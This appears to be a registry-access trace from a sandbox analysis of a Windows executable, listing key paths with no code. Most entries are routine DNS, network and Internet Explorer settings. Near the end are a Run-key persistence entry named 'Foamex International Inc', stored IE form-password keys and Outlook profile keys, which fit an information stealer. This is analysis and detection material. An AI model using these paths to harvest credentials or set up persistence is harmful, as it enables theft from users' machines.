HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSClient
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_CURRENT_USER\Control Panel\International
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Foamex International Inc
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3f4ee521\27d9480d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3f4ee521\463dfcec
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic.resources_it-IT_b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6d5fb745\1c4dd593
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic.resources_it_b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6d5fb745\4deb99ab
HKEY_LOCAL_MACHINE\Software\Policies
HKEY_CURRENT_USER\Software\Policies
HKEY_CURRENT_USER\Software
HKEY_LOCAL_MACHINE\Software
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History\DaysToKeep
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\SessionStartTimeDefaultDeltaSecs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Signature
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheOptions
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\ggg.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\*
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_REVERSE_SOLIDUS_IN_USERINFO_KB932562
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_ALLOW_REVERSE_SOLIDUS_IN_USERINFO_KB932562
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_USE_IETLDLIST_FOR_DOMAIN_DETERMINATION
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_USE_IETLDLIST_FOR_DOMAIN_DETERMINATION
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionLow
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionHigh
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionLow
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionHigh
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MissingDependencies
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
